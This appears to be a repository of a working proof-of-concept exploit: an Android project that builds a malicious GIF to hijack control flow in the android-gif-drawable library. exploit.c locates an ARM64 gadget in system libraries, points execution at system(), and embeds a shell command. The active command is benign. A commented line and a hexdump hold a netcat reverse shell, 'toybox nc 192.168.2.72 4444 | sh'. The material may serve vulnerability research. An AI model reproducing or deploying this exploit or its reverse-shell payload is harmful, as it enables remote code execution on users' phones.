[
{
"path": "Makefile",
"content": "all:\n\tgcc -o exploit egif_lib.c exploit.c\n"
},
{
"path": "MyApplication2/MyApplication2.iml",
"content": "\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n"
},
{
"path": "MyApplication2/app/CMakeLists.txt",
"content": "cmake_minimum_required(VERSION 3.4.1)\r\n\r\n#SET (CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} -O0 -g -fsanitize=address -fno-omit-frame-pointer\")\r\n#SET (CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -O0 -g -fsanitize=address -fno-omit-frame-pointer\")\r\n#SET (CMAKE_SHARED_LINKER_FLAGS \"${CMAKE_SHARED_LINKER_FLAGS} -fsanitize=address\")\r\n\r\nset(CMAKE_VERBOSE_MAKEFILE on)\r\n\r\n# gif\r\nset(SOURCES)\r\nfile(GLOB_RECURSE SOURCES src/main/cpp/gif/*.c)\r\n\r\nadd_library(pl_droidsonroids_gif SHARED ${SOURCES})\r\n\r\nset(LIBS)\r\nlist(APPEND LIBS\r\n jnigraphics\r\n android\r\n GLESv2\r\n log\r\n )\r\n\r\ntarget_link_libraries(pl_droidsonroids_gif ${LIBS})\r\n"
},
{
"path": "MyApplication2/app/app.iml",
"content": "\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n generateDebugSources\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n"
},
{
"path": "MyApplication2/app/build.gradle",
"content": "apply plugin: 'com.android.application'\r\n\r\nandroid {\r\n compileSdkVersion 28\r\n defaultConfig {\r\n applicationId \"com.example.myapplication\"\r\n minSdkVersion 23\r\n targetSdkVersion 28\r\n versionCode 1\r\n versionName \"1.0\"\r\n testInstrumentationRunner \"android.support.test.runner.AndroidJUnitRunner\"\r\n externalNativeBuild {\r\n cmake {\r\n// abiFilters \"armeabi-v7a\"\r\n abiFilters \"arm64-v8a\"\r\n }\r\n }\r\n }\r\n sourceSets {\r\n main {\r\n // let gradle pack the shared library into apk\r\n jniLibs.srcDirs = ['libs']\r\n }\r\n }\r\n buildTypes {\r\n release {\r\n minifyEnabled false\r\n proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\r\n }\r\n }\r\n externalNativeBuild {\r\n cmake {\r\n path \"CMakeLists.txt\"\r\n }\r\n }\r\n}\r\n\r\ndependencies {\r\n implementation fileTree(dir: 'libs', include: ['*.jar'])\r\n implementation 'com.android.support:appcompat-v7:28.0.0-rc01'\r\n implementation 'com.android.support.constraint:constraint-layout:1.1.2'\r\n testImplementation 'junit:junit:4.12'\r\n androidTestImplementation 'com.android.support.test:runner:1.0.2'\r\n androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'\r\n}\r\n"
},
{
"path": "MyApplication2/app/proguard-rules.pro",
"content": "# Add project specific ProGuard rules here.\r\n# You can control the set of applied configuration files using the\r\n# proguardFiles setting in build.gradle.\r\n#\r\n# For more details, see\r\n# http://developer.android.com/guide/developing/tools/proguard.html\r\n\r\n# If your project uses WebView with JS, uncomment the following\r\n# and specify the fully qualified class name to the JavaScript interface\r\n# class:\r\n#-keepclassmembers class fqcn.of.javascript.interface.for.webview {\r\n# public *;\r\n#}\r\n\r\n# Uncomment this to preserve the line number information for\r\n# debugging stack traces.\r\n#-keepattributes SourceFile,LineNumberTable\r\n\r\n# If you keep the line number information, uncomment this to\r\n# hide the original source file name.\r\n#-renamesourcefileattribute SourceFile\r\n"
},
{
"path": "MyApplication2/app/src/main/AndroidManifest.xml",
"content": "\r\n\r\n\r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n"
},
{
"path": "MyApplication2/app/src/main/cpp/gif/egif_lib.c",
"content": "#include \r\n#include \r\n#include \r\n\r\n#include \"gif_lib.h\"\r\n\r\nstatic int EGifBufferedOutput(GifFilePrivateType *Private, int c) {\r\n Private->Buf[0] = 0;\r\n Private->Buf[++(Private->Buf[0])] = c;\r\n Private->OutBuf[Private->OutBufLen++] = c;\r\n return GIF_OK;\r\n}\r\n\r\nstatic int EGifCompressOutput(GifFilePrivateType *Private, const int Code)\r\n{\r\n int retval = GIF_OK;\r\n\r\n if (Code == FLUSH_OUTPUT) {\r\n while (Private->CrntShiftState > 0) {\r\n /* Get Rid of what is left in DWord, and flush it. */\r\n if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)\r\n retval = GIF_ERROR;\r\n Private->CrntShiftDWord >>= 8;\r\n Private->CrntShiftState -= 8;\r\n }\r\n Private->CrntShiftState = 0; /* For next time. */\r\n if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR)\r\n retval = GIF_ERROR;\r\n } else {\r\n Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState;\r\n Private->CrntShiftState += Private->RunningBits;\r\n while (Private->CrntShiftState >= 8) {\r\n /* Dump out full bytes: */\r\n if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)\r\n retval = GIF_ERROR;\r\n Private->CrntShiftDWord >>= 8;\r\n Private->CrntShiftState -= 8;\r\n }\r\n }\r\n\r\n /* If code cannt fit into RunningBits bits, must raise its size. Note */\r\n /* however that codes above 4095 are used for special signaling. */\r\n if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) {\r\n Private->MaxCode1 = 1 << ++Private->RunningBits;\r\n }\r\n\r\n return retval;\r\n}\r\n\r\nint EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen)\r\n{\r\n int i = 0, CrntCode, NewCode;\r\n unsigned long NewKey;\r\n GifPixelType Pixel;\r\n\r\n if (Private->CrntCode == FIRST_CODE) /* Its first time! */\r\n CrntCode = Line[i++];\r\n else\r\n CrntCode = Private->CrntCode; /* Get last code in compression. */\r\n\r\n while (i < LineLen) { /* Decode LineLen items. */\r\n Pixel = Line[i++]; /* Get next pixel from stream. */\r\n\r\n if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n CrntCode = Pixel;\r\n\r\n /* If however the HashTable if full, we send a clear first and\r\n * Clear the hash table.\r\n */\r\n if (Private->RunningCode >= LZ_MAX_CODE) {\r\n /* Time to do some clearance: */\r\n if (EGifCompressOutput(Private, Private->ClearCode)\r\n == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n Private->RunningCode = Private->EOFCode + 1;\r\n Private->RunningBits = Private->BitsPerPixel + 1;\r\n Private->MaxCode1 = 1 << Private->RunningBits;\r\n }\r\n\r\n }\r\n\r\n /* Preserve the current state of the compression algorithm: */\r\n Private->CrntCode = CrntCode;\r\n\r\n if (Private->PixelCount == 0) {\r\n /* We are done - output last Code and flush output buffers: */\r\n if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) {\r\n return GIF_ERROR;\r\n }\r\n }\r\n\r\n return GIF_OK;\r\n}"
},
{
"path": "MyApplication2/app/src/main/cpp/gif/exploit.c",
"content": "#include \"gif_lib.h\"\r\n#include \r\n#include \r\n\r\nstatic jbyteArray NewJavaByteArray(JNIEnv* env, unsigned char *src, int size) {\r\n jbyteArray retVal = (*env)->NewByteArray(env, size);\r\n jbyte *buf = (*env)->GetByteArrayElements(env, retVal, NULL);\r\n memcpy(buf, src, size);\r\n (*env)->ReleaseByteArrayElements(env, retVal, buf, 0);\r\n return retVal;\r\n}\r\n\r\n#define ONE_BYTE_HEX_STRING_SIZE 3\r\nstatic void get_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) {\r\n int i;\r\n unsigned int byte_no = 0;\r\n if (buf_len <= 0) {\r\n if (hex_len > 0) {\r\n hex_[0] = '\\0';\r\n }\r\n return;\r\n }\r\n if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1)\r\n return;\r\n do {\r\n for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) {\r\n snprintf(hex_, hex_len, \"%02X \", buf[byte_no++] & 0xff);\r\n hex_ += ONE_BYTE_HEX_STRING_SIZE;\r\n hex_len -=ONE_BYTE_HEX_STRING_SIZE;\r\n buf_len--;\r\n }\r\n if (buf_len > 1) {\r\n snprintf(hex_, hex_len, \"\\n\");\r\n hex_ += 1;\r\n }\r\n } while ((buf_len) > 0 && (hex_len > 0));\r\n}\r\n\r\nstatic size_t find_gadget(const char *libs[], int n, unsigned char *pattern, int size, int align) {\r\n FILE *fp;\r\n char path[1035];\r\n\r\n fp = fopen(\"/proc/self/maps\", \"r\");\r\n if (fp == NULL) {\r\n LOGE(\"Unable to open /proc/self/maps\");\r\n exit(0);\r\n }\r\n\r\n while (fgets(path, sizeof(path)-1, fp) != NULL) {\r\n for (int i = 0; i < n; i++) {\r\n if (strstr(path, libs[i])) {\r\n if (strstr(path, \"r-xp\") || strstr(path, \"rwxp\")) {\r\n size_t start, end;\r\n sscanf(path, \"%llx-%llx %*s\", &start, &end);\r\n size_t loc = 0;\r\n while (start + size <= end) {\r\n loc = memmem(start, end-start, pattern, size);\r\n if (loc == 0)\r\n break;\r\n if (loc%align == 0) {\r\n char hex_dump[5000];\r\n get_hex(pattern, size, hex_dump, 5000, 16);\r\n LOGE(\"gadget = %s size = %d found in \\n%s\", hex_dump, size, path);\r\n return loc;\r\n }\r\n start = loc + 1;\r\n }\r\n }\r\n }\r\n }\r\n }\r\n return 0;\r\n}\r\n\r\nint genLine_0(unsigned char *buffer) {\r\n/*\r\n 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB\r\n 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16\r\n 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh\r\n 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000080: 4141 4141 4141 4141 eeff AAAAAAAA..\r\n\r\n Over-write AAAAAAAA with address of gadget 1\r\n Over-write BBBBBBBB with address of system() function\r\n\r\n Gadget 1\r\n ldr x8, [x19, #0x18]\r\n add x0, x19, #0x20\r\n blr x8\r\n*/\r\n unsigned char hexData[138] = {\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF\r\n };\r\n memcpy(buffer, hexData, sizeof(hexData));\r\n\r\n // find gadget 1\r\n const char *libs[] = { \"/system/framework/arm64/boot.oat\", \"/system/framework/arm64/boot-core-libart.oat\", \"/system/framework/arm64/boot-conscrypt.oat\", \"/system/framework/arm64/boot-okhttp.oat\", \"/system/framework/arm64/boot-bouncycastle.oat\", \"/system/framework/arm64/boot-apache-xml.oat\", \"/system/framework/arm64/boot-legacy-test.oat\", \"/system/framework/arm64/boot-ext.oat\", \"/system/framework/arm64/boot-framework.oat\", \"/system/framework/arm64/boot-telephony-common.oat\", \"/system/framework/arm64/boot-voip-common.oat\", \"/system/framework/arm64/boot-ims-common.oat\", \"/system/framework/arm64/boot-org.apache.http.legacy.boot.oat\", \"/system/framework/arm64/boot-android.hidl.base-V1.0-java.oat\", \"/system/framework/arm64/boot-android.hidl.manager-V1.0-java.oat\", \"/system/framework/arm64/boot-com.google.vr.platform.oat\", \"/system/bin/app_process64\", \"/system/lib64/libwebviewchromium_loader.so\", \"/system/lib64/libcompiler_rt.so\", \"/system/lib64/vndk-sp/libhidltransport.so\", \"/vendor/lib64/hw/android.hardware.graphics.mapper@2.0-impl.so\", \"/system/lib64/vndk-sp/libcutils.so\", \"/system/lib64/vndk-sp/libhidlbase.so\", \"/system/lib64/vndk-sp/libunwind.so\", \"/system/lib64/vndk-sp/android.hardware.graphics.mapper@2.0.so\", \"/system/lib64/vndk-sp/libbase.so\", \"/system/lib64/vndk-sp/libc++.so\", \"/system/lib64/vndk-sp/libhardware.so\", \"/system/lib64/vndk-sp/libbacktrace.so\", \"/system/lib64/vndk-sp/libhwbinder.so\", \"/system/lib64/vndk-sp/liblzma.so\", \"/system/lib64/vndk-sp/libutils.so\", \"/system/lib64/vndk-sp/android.hardware.graphics.common@1.0.so\", \"/system/lib64/libjavacrypto.so\", \"/system/lib64/libsoundpool.so\", \"/system/lib64/libvixl-arm.so\", \"/system/lib64/libvixl-arm64.so\", \"/system/lib64/libart-dexlayout.so\", \"/system/lib64/libart-compiler.so\", \"/system/lib64/libssl.so\", \"/system/lib64/libopenjdk.so\", \"/system/lib64/libopenjdkjvm.so\", \"/system/lib64/libjavacore.so\", \"/system/lib64/libwebviewchromium_plat_support.so\", \"/system/lib64/android.hardware.renderscript@1.0.so\", \"/system/lib64/libRS.so\", \"/system/lib64/libOpenSLES.so\", \"/system/lib64/libOpenMAXAL.so\", \"/system/lib64/android.hardware.neuralnetworks@1.0.so\", \"/system/lib64/libtextclassifier_hash.so\", \"/system/lib64/libneuralnetworks.so\", \"/system/lib64/libjnigraphics.so\", \"/system/lib64/libGLESv3.so\", \"/system/lib64/libmedia_jni.so\", \"/system/lib64/libmediandk.so\", \"/system/lib64/libmtp.so\", \"/system/lib64/libcamera2ndk.so\", \"/system/lib64/libmidi.so\", \"/system/lib64/libexif.so\", \"/system/lib64/libaaudio.so\", \"/system/lib64/libandroid.so\", \"/system/lib64/libtombstoned_client.so\", \"/system/lib64/liblz4.so\", \"/system/lib64/libart.so\", \"/system/lib64/libsigchain.so\", \"/system/lib64/libappfuse.so\", \"/system/lib64/android.hardware.cas@1.0.so\", \"/system/lib64/libhidlmemory.so\", \"/system/lib64/libvorbisidec.so\", \"/system/lib64/libui.so\", \"/system/lib64/libstagefright_foundation.so\", \"/system/lib64/libandroidfw.so\", \"/system/lib64/libmedia.so\", \"/system/lib64/libnativewindow.so\", \"/system/lib64/libcamera_client.so\", \"/system/lib64/libGLESv2.so\", \"/system/lib64/libpackagelistparser.so\", \"/system/lib64/libnativehelper.so\", \"/system/lib64/libgui.so\", \"/system/lib64/android.hidl.token@1.0-utils.so\", \"/system/lib64/libsonivox.so\", \"/system/lib64/libpowermanager.so\", \"/system/lib64/libmemunreachable.so\", \"/system/lib64/libdebuggerd_client.so\", \"/system/lib64/libnetd_client.so\", \"/system/lib64/libstagefright_http_support.so\", \"/system/lib64/libziparchive.so\", \"/system/lib64/libmediadrm.so\", \"/system/lib64/libprocessgroup.so\", \"/system/lib64/libutils.so\", \"/system/lib64/libminikin.so\", \"/system/lib64/libskia.so\", \"/system/lib64/libbacktrace.so\", \"/system/lib64/libandroid_runtime.so\", \"/system/lib64/libandroid_runtime.so\", \"/system/lib64/libc++.so\", \"/system/lib64/libc.so\", \"/system/lib64/libc.so\", \"/system/lib64/libc.so\", \"/system/lib64/libc.so\", \"/system/lib64/android.hardware.drm@1.0.so\", \"/system/lib64/libdl.so\", \"/system/lib64/libm.so\", \"/system/lib64/libpiex.so\", \"/system/lib64/libsqlite.so\", \"/system/lib64/android.hardware.media@1.0.so\", \"/system/lib64/libimg_utils.so\", \"/system/lib64/libunwind.so\", \"/system/lib64/libhwui.so\", \"/system/lib64/liblog.so\", \"/system/lib64/libgraphicsenv.so\", \"/system/lib64/libinput.so\", \"/system/lib64/libstagefright_flacdec.so\", \"/system/lib64/libEGL.so\", \"/system/lib64/libsensor.so\", \"/system/lib64/android.hardware.configstore-utils.so\", \"/system/lib64/libdng_sdk.so\", \"/system/lib64/android.hardware.graphics.common@1.0.so\", \"/system/lib64/libhidlbase.so\", \"/system/lib64/libstagefright.so\", \"/system/lib64/libjpeg.so\", \"/system/lib64/android.hardware.graphics.bufferqueue@1.0.so\", \"/system/lib64/libaudioutils.so\", \"/system/lib64/libGLESv1_CM.so\", \"/system/lib64/android.hardware.graphics.allocator@2.0.so\", \"/system/lib64/libvulkan.so\", \"/system/lib64/libprotobuf-cpp-lite.so\", \"/system/lib64/libharfbuzz_ng.so\", \"/system/lib64/libusbhost.so\", \"/system/lib64/libtinyxml2.so\", \"/system/lib64/libmemtrack.so\", \"/system/lib64/libvndksupport.so\", \"/system/lib64/libheif.so\", \"/system/lib64/android.hardware.memtrack@1.0.so\", \"/system/lib64/liblzma.so\", \"/system/lib64/libaudioclient.so\", \"/system/lib64/android.hidl.token@1.0.so\", \"/system/lib64/libstagefright_xmlparser.so\", \"/system/lib64/libnativeloader.so\", \"/system/lib64/libhwbinder.so\", \"/system/lib64/libicuuc.so\", \"/system/lib64/libnativebridge.so\", \"/system/lib64/libmedia_helper.so\", \"/system/lib64/libz.so\", \"/system/lib64/libmediametrics.so\", \"/system/lib64/libETC1.so\", \"/system/lib64/libstdc++.so\", \"/system/lib64/libpdfium.so\", \"/system/lib64/libvintf.so\", \"/system/lib64/libpcre2.so\", \"/system/lib64/libexpat.so\", \"/system/lib64/libcrypto.so\", \"/system/lib64/libhardware_legacy.so\", \"/system/lib64/libcamera_metadata.so\", \"/system/lib64/android.hardware.graphics.mapper@2.0.so\", \"/system/lib64/libcutils.so\", \"/system/lib64/libsync.so\", \"/system/lib64/libspeexresampler.so\", \"/system/lib64/libpng.so\", \"/system/lib64/libft2.so\", \"/system/lib64/android.hardware.cas.native@1.0.so\", \"/system/lib64/libsoundtrigger.so\", \"/system/lib64/libbinder.so\", \"/system/lib64/libaudiomanager.so\", \"/system/lib64/libhidltransport.so\", \"/system/lib64/android.hardware.media.omx@1.0.so\", \"/system/lib64/libmediautils.so\", \"/system/lib64/android.hidl.allocator@1.0.so\", \"/system/lib64/libwilhelm.so\", \"/system/lib64/libicui18n.so\", \"/system/lib64/libbase.so\", \"/system/lib64/libmedia_omx.so\", \"/system/lib64/android.hardware.configstore@1.0.so\", \"/system/lib64/libdrmframework.so\", \"/system/lib64/libselinux.so\", \"/system/lib64/libstagefright_omx_utils.so\", \"/system/lib64/libhardware.so\", \"/system/lib64/libRScpp.so\", \"/system/lib64/android.hidl.memory@1.0.so\", \"/system/lib64/libclang_rt.ubsan_standalone-aarch64-android.so\" };\r\n int n = sizeof(libs)/sizeof(char*);\r\n unsigned char g1[12] = {\r\n 0x68, 0x0E, 0x40, 0xF9, // ldr x8, [x19, #0x18]\r\n 0x60, 0x82, 0x00, 0x91, // add x0, x19, #0x20\r\n 0x00, 0x01, 0x3F, 0xD6, // blr x8\r\n };\r\n size_t g1_loc = find_gadget(libs, n, g1, sizeof(g1), 4);\r\n if (g1_loc == 0)\r\n return 0;\r\n\r\n LOGE(\"g1_loc = %p\", g1_loc);\r\n memcpy(buffer + 128, &g1_loc, 8);\r\n\r\n size_t system_loc = &system;\r\n LOGE(\"system_loc = %p\", system_loc);\r\n memcpy(buffer + 24, &system_loc, 8);\r\n\r\n// char *command = \"toybox nc 192.168.2.72 4444 | sh\";\r\n char *command = \"touch /sdcard/test.txt\";\r\n memcpy(buffer + 32, command, strlen(command));\r\n\r\n LOGE(\"== genLine_0 complete ==\");\r\n return sizeof(hexData);\r\n};\r\n\r\nJNIEXPORT jbyteArray JNICALL Java_com_example_myapplication_MainActivity_generateGif(JNIEnv *env, jobject thiz) {\r\n GifFilePrivateType Private = {\r\n .Buf[0] = 0,\r\n .BitsPerPixel = 8,\r\n .ClearCode = 256,\r\n .EOFCode = 257,\r\n .RunningCode = 258,\r\n .RunningBits = 9,\r\n .MaxCode1 = 512,\r\n .CrntCode = FIRST_CODE,\r\n .CrntShiftState = 0,\r\n .CrntShiftDWord = 0,\r\n .PixelCount = 112,\r\n .OutBuf = { 0 },\r\n .OutBufLen = 0\r\n };\r\n\r\n unsigned char buffer[1000] = { 0 };\r\n int size = 0;\r\n\r\n unsigned char line[500] = { 0 };\r\n\r\n int line_size = genLine_0(line);\r\n\r\n EGifCompressLine(&Private, line, line_size);\r\n\r\n unsigned char starting[48] = {\r\n 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC,\r\n 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08\r\n };\r\n unsigned char padding[2] = { 0xFF, 0xFF };\r\n unsigned char ending[61] = {\r\n 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00,\r\n 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00,\r\n 0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B\r\n };\r\n\r\n // starting bytes\r\n memcpy(buffer + size, starting, sizeof(starting));\r\n size += sizeof(starting);\r\n\r\n // size of encoded line + padding\r\n int tmp = Private.OutBufLen + sizeof(padding);\r\n buffer[size++] = tmp;\r\n\r\n // encoded-line bytes\r\n memcpy(buffer + size, Private.OutBuf, Private.OutBufLen);\r\n size += Private.OutBufLen;\r\n\r\n // padding bytes of 0xFFs to trigger info->rewind(info);\r\n memcpy(buffer + size, padding, sizeof(padding));\r\n size += sizeof(padding);\r\n\r\n // ending bytes\r\n memcpy(buffer + size, ending, sizeof(ending));\r\n size += sizeof(ending);\r\n\r\n char hex_dump[5000];\r\n get_hex(buffer, size, hex_dump, 5000, 16);\r\n LOGE(\"buffer = %p size = %d\\n%s\", buffer, size, hex_dump);\r\n\r\n return NewJavaByteArray(env, buffer, size);\r\n}\r\n"
},
{
"path": "MyApplication2/app/src/main/cpp/gif/gif_lib.h",
"content": "/******************************************************************************\n \ngif_lib.h - service library for decoding and encoding GIF images\n \n*****************************************************************************/\n\n#ifndef _GIF_LIB_H_\n#define _GIF_LIB_H_ 1\n\n#define GIF_ERROR 0\n#define GIF_OK 1\n\n#include \n#include \n\n#include \n#define LOG_TAG \"libgif\"\n#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)\n\ntypedef signed char __int8_t;\ntypedef unsigned char __uint8_t;\ntypedef short __int16_t;\ntypedef unsigned short __uint16_t;\ntypedef int __int32_t;\ntypedef unsigned int __uint32_t;\n#if defined(__LP64__)\ntypedef long __int64_t;\ntypedef unsigned long __uint64_t;\n#else\ntypedef long long __int64_t;\ntypedef unsigned long long __uint64_t;\n#endif\n#if defined(__LP64__)\ntypedef long __intptr_t;\ntypedef unsigned long __uintptr_t;\n#else\ntypedef int __intptr_t;\ntypedef unsigned int __uintptr_t;\n#endif\ntypedef __int8_t int8_t;\ntypedef __uint8_t uint8_t;\ntypedef __int16_t int16_t;\ntypedef __uint16_t uint16_t;\ntypedef __int32_t int32_t;\ntypedef __uint32_t uint32_t;\ntypedef __int64_t int64_t;\ntypedef __uint64_t uint64_t;\ntypedef __intptr_t intptr_t;\ntypedef __uintptr_t uintptr_t;\ntypedef int8_t int_least8_t;\ntypedef uint8_t uint_least8_t;\ntypedef int16_t int_least16_t;\ntypedef uint16_t uint_least16_t;\ntypedef int32_t int_least32_t;\ntypedef uint32_t uint_least32_t;\ntypedef int64_t int_least64_t;\ntypedef uint64_t uint_least64_t;\ntypedef int8_t int_fast8_t;\ntypedef uint8_t uint_fast8_t;\ntypedef int64_t int_fast64_t;\ntypedef uint64_t uint_fast64_t;\n#if defined(__LP64__)\ntypedef int64_t int_fast16_t;\ntypedef uint64_t uint_fast16_t;\ntypedef int64_t int_fast32_t;\ntypedef uint64_t uint_fast32_t;\n#else\ntypedef int32_t int_fast16_t;\ntypedef uint32_t uint_fast16_t;\ntypedef int32_t int_fast32_t;\ntypedef uint32_t uint_fast32_t;\n#endif\n\n#define GIF_STAMP \"GIFVER\" /* First chars in file - GIF stamp. */\n#define GIF_STAMP_LEN sizeof(GIF_STAMP) - 1\n#define GIF_VERSION_POS 3 /* Version first character in stamp. */\n\ntypedef unsigned char GifPixelType;\ntypedef unsigned char GifByteType;\ntypedef unsigned int GifPrefixType;\ntypedef uint_fast16_t GifWord;\n\ntypedef struct GifColorType {\n\tuint8_t Red, Green, Blue;\n} GifColorType;\n\ntypedef struct ColorMapObject {\n\tuint_fast16_t ColorCount;\n\tuint_fast8_t BitsPerPixel;\n// bool SortFlag;\n\tGifColorType *Colors; /* on malloc(3) heap */\n} ColorMapObject;\n\ntypedef struct GifImageDesc {\n\tGifWord Left, Top, Width, Height; /* Current image dimensions. */\n\tbool Interlace;\n\t/* Sequential/Interlaced lines. */\n\tColorMapObject *ColorMap; /* The local color map */\n} GifImageDesc;\n\n//typedef struct ExtensionBlock {\n// int ByteCount;\n// GifByteType *Bytes; /* on malloc(3) heap */\n// int Function; /* The block function code */\n#define CONTINUE_EXT_FUNC_CODE 0x00 /* continuation subblock */\n#define COMMENT_EXT_FUNC_CODE 0xfe /* comment */\n#define GRAPHICS_EXT_FUNC_CODE 0xf9 /* graphics control (GIF89) */\n#define PLAINTEXT_EXT_FUNC_CODE 0x01 /* plaintext */\n#define APPLICATION_EXT_FUNC_CODE 0xff /* application block */\n//} ExtensionBlock;\n\ntypedef struct SavedImage {\n\tGifImageDesc ImageDesc;\n// GifByteType *RasterBits; /* on malloc(3) heap */\n// int ExtensionBlockCount; /* Count of extensions before image */\n// ExtensionBlock *ExtensionBlocks; /* Extensions before image */\n} SavedImage;\n\n#define EXTENSION_INTRODUCER 0x21\n#define DESCRIPTOR_INTRODUCER 0x2c\n#define TERMINATOR_INTRODUCER 0x3b\n\n#define LZ_MAX_CODE 4095 /* Biggest code possible in 12 bits. */\n#define LZ_BITS 12\n\n#define FLUSH_OUTPUT 4096 /* Impossible code, to signal flush. */\n#define FIRST_CODE 4097 /* Impossible code, to signal first. */\n#define NO_SUCH_CODE 4098 /* Impossible code, to signal empty. */\n\n//#define FILE_STATE_WRITE 0x01\n//#define FILE_STATE_SCREEN 0x02\n//#define FILE_STATE_IMAGE 0x04\n//#define FILE_STATE_READ 0x08\n\n//#define IS_READABLE(Private) (Private->FileState & FILE_STATE_READ)\n\n\nstruct GifFileType;\n/* func type to read gif data from arbitrary sources (TVT) */\ntypedef uint_fast8_t (*InputFunc)(struct GifFileType *, GifByteType *, uint_fast8_t);\n\ntypedef struct GifFilePrivateType {\n\tGifWord //FileState, /*FileHandle,*/ /* Where all this data goes to! */\n\t\t\tBitsPerPixel, /* Bits per pixel (Codes uses at least this + 1). */\n\t\t\tClearCode, /* The CLEAR LZ code. */\n\t\t\tEOFCode, /* The EOF LZ code. */\n\t\t\tRunningCode, /* The next code algorithm can generate. */\n\t\t\tRunningBits, /* The number of bits required to 